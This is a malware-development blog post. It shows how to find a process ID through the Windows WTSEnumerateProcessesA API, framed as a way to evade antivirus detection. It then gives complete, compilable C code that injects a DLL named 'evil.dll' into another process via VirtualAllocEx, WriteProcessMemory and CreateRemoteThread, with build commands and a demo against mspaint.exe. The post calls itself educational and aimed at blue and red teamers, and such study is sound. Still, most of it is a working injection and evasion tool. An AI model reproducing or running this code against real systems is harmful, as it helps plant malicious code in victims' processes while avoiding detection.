5 minute read

Hello, cybersecurity enthusiasts and white hackers!

hack

Today, I just want to focus my research on another malware development trick: enum processes and find PID via WTSEnumerateProcesses. It is a common technique that can be used by malware for AV evasion also.

WTSEnumerateProcessesA win api

The WTSEnumerateProcessesA function is a Windows API function that retrieves information about the active processes on a specified terminal server:

BOOL WTSEnumerateProcessesA(
  WTS_CURRENT_SERVER_HANDLE hServer,
  DWORD                     Reserved,
  DWORD                     Version,
  PWTS_PROCESS_INFOA        *ppProcessInfo,
  DWORD                     *pdwCount
);

WTSEnumerateProcessesA is primarily used for enumerating the processes running on a terminal server and can be useful for diagnostics and troubleshooting.

practical example

The WTS API functions are part of the wtsapi32.dll, so we need to link against that DLL. In the code snippet,

#pragma comment(lib, "wtsapi32.lib")

is used to link against the library.

Then just create function to enum processes:

int findMyProc(const char * procname) {
  int pid = 0;
  WTS_PROCESS_INFOA * pi;

  DWORD level = 1; // we want WTSEnumerateProcesses to return WTS_PROCESS_INFO_EX
  DWORD count = 0;

  if (!WTSEnumerateProcessesA(WTS_CURRENT_SERVER_HANDLE, 0, level, &pi, &count))
    return 0;

  for (int i = 0 ; i < count ; i++ ) {
    if (lstrcmpiA(procname, pi[i].pProcessName) == 0) {
      pid = pi[i].ProcessId;
      break;
    }
  }

  WTSFreeMemory(pi);
  return pid;
}

As you can see, the logic is pretty simple, just compare process name and get PID.

Full source code is look like this (hack.c):

/*
 * process find via WTSEnumerateProcessesA logic
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/07/07/malware-tricks-34.html
*/
#include <windows.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "wtsapi32.lib")

int findMyProc(const char * procname) {
  int pid = 0;
  WTS_PROCESS_INFOA * pi;

  DWORD level = 1; // we want WTSEnumerateProcesses to return WTS_PROCESS_INFO_EX
  DWORD count = 0;

  if (!WTSEnumerateProcessesA(WTS_CURRENT_SERVER_HANDLE, 0, level, &pi, &count))
    return 0;

  for (int i = 0 ; i < count ; i++ ) {
    if (lstrcmpiA(procname, pi[i].pProcessName) == 0) {
      pid = pi[i].ProcessId;
      break;
    }
  }

  WTSFreeMemory(pi);
  return pid;
}

int main(int argc, char* argv[]) {
  int pid = findMyProc(argv[1]);
  if (pid > 0) {
  printf("pid = %d\n", pid);
  }
  return 0;
}

Keep in mind that this function may not retrieve the process identifier for some types of processes, such as system processes or processes that are protected by certain types of security software. In addition, certain types of security software may block calls to this function entirely. The same applies if you’re running in an environment with restricted permissions.

Also, WTSEnumerateProcesses requires the SeTcbPrivilege to be enabled, but this is normally enabled for administrators, but I didn’t check it.

demo

Ok, let’s go to look this trick in action.

Compile it (hack.c):

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwtsapi32

hack

As you can see, you need to link against wtsapi32.lib when building this program. I am using a GCC-based compiler (like MinGW), so I can do this by adding -lwtsapi32 to my command.

Then, just run it at the victim’s machine (Windows 10 22H2 x64 in my case):

.\hack.exe <process>

hack

hack

hack

As you can see, it’s worked perfectly, as expected :) =^..^=

As I wrote earlier, in theory, the user must have the Query Information permission. Also, the calling process must have the SE_TCB_NAME privilege. If the calling process is running in a user session, the WTSEnumerateProcesses function only retrieves the process information for the session of the calling process.

In my opinion, if your malware or service run under the Local System you have enough permissions.

Also, maybe this trick can be used to bypass some cyber security solutions, since many systems only detect functions known to many like CreateToolhelp32Snapshot, Process32First, Process32Next. For the same reason, this can be difficult for many malware analysts.

practical example 2. find and inject

Let’s go to another example with malicious logic. Find process ID by name and inject DLL to it.

Source code is similar to my post or this one. The only difference is the logic of the findMyProc function (hack2.c):

/*
 * hack2.cpp - find process ID
 * by WTSEnumerateProcessesA and
 * DLL inject. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2023/07/07/malware-tricks-34.html
*/
#include <windows.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "wtsapi32.lib")

char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;

int findMyProc(const char * procname) {
  int pid = 0;
  WTS_PROCESS_INFOA * pi;

  DWORD level = 1; // we want WTSEnumerateProcesses to return WTS_PROCESS_INFO_EX
  DWORD count = 0;

  if (!WTSEnumerateProcessesA(WTS_CURRENT_SERVER_HANDLE, 0, level, &pi, &count))
    return 0;

  for (int i = 0 ; i < count ; i++ ) {
    if (lstrcmpiA(procname, pi[i].pProcessName) == 0) {
      pid = pi[i].ProcessId;
      break;
    }
  }

  WTSFreeMemory(pi);
  return pid;
}

int main(int argc, char* argv[]) {
  int pid = 0; // process ID
  HANDLE ph; // process handle
  HANDLE rt; // remote thread
  LPVOID rb; // remote buffer
  pid = findMyProc(argv[1]);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);

  HMODULE hKernel32 = GetModuleHandle("kernel32");
  VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

  // open process
  ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
  if (ph == NULL) {
    printf("OpenProcess failed! exiting...\n");
    return -2;
  }

  // allocate memory buffer for remote process
  rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  // "copy" evil DLL between processes
  WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

  // our process start new thread
  rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
  CloseHandle(ph);

  return 0;
}

“malware” demo

Ok, let’s go to demonstration our injection.

Compile it:

x86_64-w64-mingw32-g++ -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwtsapi32

av-evasion

And run for find and inject to mspaint.exe:

.\hack2.exe mspaint.exe

av-evasion

As you can see, our messagebox is injected to mspaint.exe with PID = 3048 as expected. Perfect! =^..^=

This trick is used by Iranian CopyKittens cyber espionage group. I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.

WTSEnumerateProcessesA
Find PID by name and inject to it. “Classic” implementation.
Classic DLL injection into the process. Simple C++ malware
Taking a Snapchot and Viewing Processes
CopyKittens
Malpedia: CopyKittens
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine